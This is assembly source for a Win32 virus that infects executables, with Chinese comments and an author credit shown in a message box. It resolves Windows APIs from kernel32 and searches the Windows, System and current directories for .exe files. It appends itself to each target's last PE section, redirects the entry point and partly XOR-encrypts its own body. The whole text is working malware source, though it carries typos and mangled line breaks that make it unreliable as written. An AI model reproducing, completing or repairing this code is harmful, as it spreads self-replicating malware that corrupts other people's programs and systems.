.386p
.model flat ,stdcalloptions casemap:nonejumps.data
.code
VirusStart:
;重定位 call deltadelta: pop ebp mov eax,ebp sub ebp,offset delta sub eax,RedundatSize sub eax,1000hNewEip equ $-4 mov dword ptr [ebp+AppBase],eax mov esi,[esp] pushad call Crypt popadCryptStart:
call GetK32 mov dword ptr [ebp+aKernel32],eaxlea edi,[ebp+offset @@Offsetz]
lea esi,[ebp+offset @@Namez] call GetApis call SpecialApi call DirScanCryptEnd: cmp ebp,0 je FirstGenerationReturnHost:
mov eax,12345678h org $-4OldEip dd 00001000h mov eax,dword ptr [ebp+offset OldEip] jmp eax ret ;========================================================;; DirScan子程序设置要感染的目录;;=========================================================DirScan:
push 128h lea eax,[ebp+offset WidowsDir] push eax mov eax,dword ptr [ebp+offset aGetWindowsDirectoryA] call eaxpush 128h
lea eax,[ebp+offset SystemDir] push eax mov eax,dword ptr [ebp+offset aGetSystemDirectoryA] call eaxlea eax,[ebp+offset CurrentDir]
push eax push 128h mov eax,[ebp+offset aGetCurrentDirectoryA] call eaxlea eax,[ebp+offset WindowsDir]
push eax mov eax,[ebp+offset aSetCurrentDirectoryA] call eax mov dword ptr [ebp+offset Counter],3 call SearchFileslea eax,[ebp+offset SystemDir]
push eax mov eax,[ebp+offset aSetCurrentDirectoryA] call eax mov dword ptr [ebp+offset Counter],3 call SearchFileslea eax,[ebp+offset CurrentDir]
push eax mov eax,[ebp+offset aSetCurrentDirectoryA] mov dword ptr [ebp+ offset Counter],3 call SearchFilesret
;======================================================================
;; SearchFiles子程序寻找感染目标(*.exe),并尝试感染3个文件;;======================================================================SearchFiles:
push ebp lea eax,dword ptr [ebp+offset Win32FindData] push eax lea eax,[ebp+offset Mark] push eax mov eax,[ebp+offset aFindFirstFileA] call eax pop ebpinc eax
jz SearchClose dec eax mov dword ptr[ebp+offset SearchHandle],eax mov esi,offset Win32FindData.FileName add esi,ebp mov dword ptr [ebp+offset FilePointer],esi cmp [Win32FindData.FileSizeHigh+ebp],0 jne SearchNextmov ecx,[Win32FindData.FileSizeLow+ebp]
mov dword ptr [ebp+offset NewFileSize],ecx mov dword ptr [ebp+offset OriFileSize],ecx push dword ptr [ebp+offset OldEip] call InfectFiles pop dword ptr [ebp+offset OldEip]dec dword ptr [ebp+offset Counter]
cmp dword ptr [ebp+offset Counter],0 je SearchHandleCloseSearchNext:
push ebp mov eax,dword ptr [ebp+offset Win32FindData] push eax mov eax,dword ptr [ebp+offset SearchHandle] push eax mov eax,[ebp+offset aFindNextFileA] call eax pop ebpcmp eax,0
je SearchHandleClosemov esi,offset Win32FindData.FileName
add esi,ebp mov dword ptr [ebp+offset FilePointer],esi cmp [Win32FindData.FileSizeHigh+ebp],0 jne SearchNextmov ecx,[Win32FindData.FileSizeLow+ebp]
mov dword ptr [ebp+offset NewFileSize],ecx mov dword ptr [ebp+offset OriFileSize],ecx push dword ptr [ebp+offset OldEip] call InfectFiles pop dword ptr [ebp+offset OldEip]dec dword ptr [ebp+offset Counter]
cmp dword ptr [ebp+offset Counter],0 jne SearchNextSearchHandleClose:
push dword ptr [ebp+offset SearchHandle] mov eax,[ebp+offset aFindClose] call eax cmp eax,0 je SearchCloseSearchClose:
ret;===========================================================================
;; InfectFiles子程序感染.exe文件;;===========================================================================InfectFiles: pushad mov dword ptr [ebp+offset InfectFlag],0 mov ecx,dword ptr [ebp+offset NewFileSize] cmp ecx,MinimumFileSize jb JumpOutadd ecx,total_size
mov dword ptr [ebp+offset NewFileSize],ecx push ebp push dword ptr [ebp+offset FilePointer] mov eax,[ebp+offset aGetFileAttributesA] call eax pop ebp mov dword ptr [ebp+offset FileAttribute],eaxpush ebp
push 00000080h push dword ptr [ebp+offset FilePointer] mov eax,[ebp+offset aSetFileAttributesA] call eax pop ebpcmp eax,0
jz ErrorOpenExepush ebp
push 0h push 00000080h push 0h push 00000000h push 80000000 or 40000000h push dword ptr [ebp+offset FilePointer] mov eax,[ebp+offset aCreateFileA] call eax pop ebpinc eax
cmp eax,0 jz ErrorOpenExe dec eax mov dword ptr [ebp+offset FileHandle],eaxpush ebp
push dword ptr [ebp+offset NewFileSize] push 0h mov eax,[ebp+offset aGlobalAlloc] call eax pop ebpcmp eax,0h
jz ErrorBuffer mov dword ptr [ebp+offset MemoryHandle],eaxpush ebp
lea eax,[ebp+offset ByteRead] push 0h push eax push dword ptr [ebp+offset OriFileSize] push dword ptr [ebp+offset MemoryHandle] push dword ptr [ebp+offset FileHandle] mov eax,[ebp+offset aReadFile] call eax pop ebpcmp eax,0h
jz ErrorReadExepush ebp
push 0h push 0h push 0h push dword ptr [ebp+offset FileHandle] mov eax,[ebp+offset aSetFilePointer] call eax pop ebpinc eax
cmp eax,0h jz ErrorReadExemov ebx,dword ptr [ebp+offset MemoryHandle]
mov esi,dword ptr [ebp+offset MemoryHandle] cmp word ptr [esi],"ZM" jnz ErrorReadExe xor eax,eax mov eax,dword ptr [esi+3ch] add esi,eax cmp dword ptr [esi],"EP" jz StartInfect mov dword ptr [ebp+offset InfectFlag],0FFh jmp ErrorReadExeStartInfect:
mov dword ptr [ebp+offset PEHeader],esi cmp dword ptr [esi+4ch],"31" jz InfectError mov dword ptr [esi+4ch],"31"mov ebx,[esi+74h]
shl ebx,3 xor eax,eax mov ax,word ptr[esi+06h] dec eax mov ecx,28h mul ecx add eax,ebx add esi,78h add esi,eaxmov edi,dword ptr [ebp+offset PEHeader]
mov eax,[esi+0ch] add eax,dword ptr [esi+10h] mov dword ptr [ebp+offset NewEip],eax xchg eax,[edi+28h] add eax,[edi+34h] mov dword ptr [ebp+offseet OldEip],eaxmov ecx,total_size
add [esi+08h],ecx mov eax,[esi+08h] add eax,[esi+0ch] mov [edi+50h],eaxmov eax,[esi+10h]
add [esi+10h],ecx or dword ptr [esi+24h],0A000020h mov edi,[esi+14h] mov ebx,dword ptr [ebp+offset MemoryHandle] add edi,ebx add edi,eax mov esi,offset VirusStart add esi,ebppushad
mov byte ptr [ebp+offset CryptKey],0ffh call Crypt popad rep movsbcall Crypt
lea eax,[eap+offset ByteRead] push ebp push 0h push eax push dword ptr [ebp+offset NewFileSize] push dword ptr [ebp+offset MemoryHandle] push dword ptr [ebp+offset FileHandle] mov eax,[ebp+offset aWriteFile] call eax pop ebpInfectError:
ErrorReadExe: push ebp push dword ptr [ebp+offset MemoryHandle] mov eax, [ebp+offset aGlobalFree] call eax pop ebpErrorBuffer:
push ebp push dword ptr [ebp+offset FileHandle] mov eax, [ebp+offset aCloseHandle] call eax pop ebpErrorOpenExe:
push ebp push dword ptr [ebp+offset FileAttribute] push dword ptr [ebp+offset FilePointer] mov eax, [ebp+offset aSetFileAttributesA] call eax pop ebp jmp InfectCheckInfectFail:
stc jmp JumpOutInfectCheck: cmp dword ptr [ebp+offset InfectFlag], 0FFh jz InfectFail clcJumpOut:
popad ret;==================================================================================
;; GetK32子程序使用暴力搜索获得Kernel32.dll的基地址;;===================================================================================GetK32 PROCScanK32:
cmp word ptr [esi], "ZM" je K32Found sub esi, 1000h jmp ScanK32 K32Found: mov eax, esi retGetK32 endp
;======================================================================================
;; GetApis子程序调用GetApi程序 获取一些常用的API函数 edi=API offset,esi=API name;;======================================================================================GetApis PROC@@1: mov eax, dword ptr [ebp+aKernel32] push esi push edi call GetApi pop edi pop esi mov [edi], eax ;store API address in eax ----> edi add edi, 4 @@3: inc esi cmp byte ptr [esi], 0 jne @@3 inc esi cmp byte ptr [esi], 0FFh ;ended? jnz @@1 ret GetApis endp;============================================================================================
;; GetApi子程序 从内存中模块(Kernel32.dll)的导出表中获取某个API的入口地址;;============================================================================================GetApi PROC
mov ebx, [eax+3ch] ;ebx=offset PE header add ebx, eax ;ebx=point to PE header mov ebx, [ebx+78h] ;ebx=point to ExportDirectory Virtual Address add ebx, eax ;normalize, ebx=point to ExportDirectory xor edx, edx ;edx=0 mov ecx, [ebx+20h] ;ecx=point to AddressOfNames add ecx, eax ;normalize push esi ;save to stack push edx ;save to stackNextApi:
pop edx pop esi inc edx ;edx=the index into AddressOfOrdinals+1 mov edi, [ecx] ;edi=API function export by Kernel32.dll add edi, eax ;normalize add ecx, 4 ;point to next API function push esi ;save to stack push edxCompareApi:
mov dl, [edi] ;dl=API function export by Kernel32.dll mov dh, [esi] ;dh=API function we looking for cmp dl, dh ;match? jne NextApi ;not match....ok...next API inc edi ;if match, compare next byte inc esi cmp byte ptr [esi], 0 ;finish? je GetAddr ;jmp to get the address of API function jmp CompareApiGetAddr:
pop edx pop esi dec edx ;edx-1 (because edx=index point to zero -finish) shl edx, 1 ;edx=edx*2 mov ecx, [ebx+24h] add ecx, eax add ecx, edx ;ecx=ordinals xor edx,edx mov dx, [ecx] shl edx, 2 ;edx=edx*4 mov ecx, [ebx+1ch] ;ecx=RVA AddressOfFunctions add ecx, eax ;normalize add ecx, edx add eax, [ecx] ;eax=address of API function we looking for ret GetApi endp;===========================================================================
;; SpecialApi子程序;;===========================================================================SpecialApi proc push offset User32Dll mov eax, dword ptr [ebp+offset aLoadLibraryA] call eax mov esi, offset sMessageBoxA push esi push eax mov eax, dword ptr [ebp+offset aGetProcAddress] call eax mov dword ptr [ebp+offset aMessageBoxA], eax retSpecialApi endp
;------------------------------------------------------------------------------
;Encrypt/Decrypt Virus Data;------------------------------------------------------------------------------Crypt: mov esi, offset CryptStart add esi, ebp mov ah, byte ptr [ebp+offset CryptKey] mov ecx, CryptEnd-CryptStartCryptLoop:
xor byte ptr [esi], ah inc esi loop CryptLoop ret;-------------------------------------------------------------------------------
;Pop up message;-------------------------------------------------------------------------------FirstGeneration: push 0 push offset szTopic push offset szText push 0 mov eax, dword ptr [ebp+offset aMessageBoxA] call eax push 0 mov eax, dword ptr [ebp+offset aExitProcess] call eax ;-----------------------------------------------------------------------------;APIs function needed.;-----------------------------------------------------------------------------sMessageBoxA db "MessageBoxA", 0
aMessageBoxA dd 00000000h @@Namez label bytesGetProcAddress db "GetProcAddress", 0sLoadLibraryA db "LoadLibraryA", 0sExitProcess db "ExitProcess", 0sGetWindowsDirectoryA db "GetWindowsDirectoryA", 0sGetSystemDirectoryA db "GetSystemDirectoryA", 0sGetCurrentDirectoryA db "GetCurrentDirectoryA", 0sSetCurrentDirectoryA db "SetCurrentDirectoryA", 0sFindFirstFileA db "FindFirstFileA", 0sFindNextFileA db "FindNextFileA", 0sFindClose db "FindClose", 0sGlobalAlloc db "GlobalAlloc", 0sGlobalFree db "GlobalFree", 0sGetFileAttributesA db "GetFileAttributesA", 0sSetFileAttributesA db "SetFileAttributesA", 0sCreatFileA db "CreateFileA", 0sReadFile db "ReadFile", 0sWriteFile db "WriteFile", 0sGetFileTime db "GetFileTime",0sGetFileSize db "GetFileSize", 0sCreateFileMapping db "CreateFileMapping", 0sMapViewOfFile db "MapViewOfFile", 0sUnmapViewOfFile db "UnmapViewOfFile", 0sCloseHandle db "CloseHandle", 0sSetFileTime db "SetFileTime", 0sSetFilePointer db "SetFilePointer", 0sSetEndOfFile db "SetEndOfFile", 0 db 0FFh @@Offsetz label byteaGetProcAddress dd 00000000h aLoadLibraryA dd 00000000haExitProcess dd 00000000haGetWindowsDirectoryA dd 00000000haGetSystemDirectoryA dd 00000000haGetCurrentDirectoryA dd 00000000haSetCurrentDirectoryA dd 00000000haFindFirstFileA dd 00000000haFindNextFileA dd 00000000haFindClose dd 00000000haGlobalAlloc dd 00000000haGlobalFree dd 00000000haGetFileAttributesA dd 00000000haSetFileAttributesA dd 00000000haCreateFileA dd 00000000haReadFile dd 00000000haWriteFile dd 00000000haGetFileTime dd 00000000haGetFileSize dd 00000000haCreateFileMapping dd 00000000haMapViewOfFile dd 00000000haUnmapViewOfFile dd 00000000haCloseHandle dd 00000000haSetFileTime dd 00000000haSetFilePointer dd 00000000haSetEndOfFile dd 00000000h;------------------------------------------------------------------------------
;Parameters;------------------------------------------------------------------------------aKernel32 dd 00000000hCounter dd 00000000hSearchHandle dd 00000000hFileHandle dd 00000000hFilePointer dd 00000000hOriginalFileTime dd 00000000hMapSize dd 00000000hFileAttribute dd 00000000hMemoryHandle dd 00000000hMapAddress dd 00000000hOldRawSize dd 00000000hNewRawSize dd 00000000hNewFileSize dd 00000000hPEHeader dd 00000000hFileAlign dd 00000000hIncreaseRaw dd 00000000hInfectFlag dd 00000000hOriFileSize dd 00000000hAppBase dd 00400000hByteRead dd ?User32Dll db "User32.dll", 0 ;User32.dll
WindowsDir db 128h dup (0)SystemDir db 128h dup (0)CurrentDir db 128h dup (0)Mark db "*.exe", 0 ;target file *.exe RedundantSize equ (offset delta - offset VirusStart)total_size equ (offset VirusEnd - offset VirusStart) szTopic db "F-13 Labs", 0szText db "Author:lclee_vx", 0 max_path equ 260MinimumFileSize equ 1024dfiletime STRUC ;file time structure
FT_dwLowDateTime DD ? FT_dwHighDateTime DD ?filetime ENDS win32_find_data STRUC FileAttributes DD ? ; attributes CreationTime filetime ? ; time of creation LastAccessTime filetime ? ; last access time LastWriteTime filetime ? ; last modificationm FileSizeHigh DD ? ; filesize FileSizeLow DD ? ; -"- Reserved0 DD ? ; Reserved1 DD ? ; FileName DB max_path DUP (?) ; long filename AlternateFileName DB 13 DUP (?) ; short filename DB 3 DUP (?) ; dword padding win32_find_data ENDS ; ; Win32FindData win32_find_data ? ; our search areaCryptKey db ?
VirusEnd:endsend VirusStart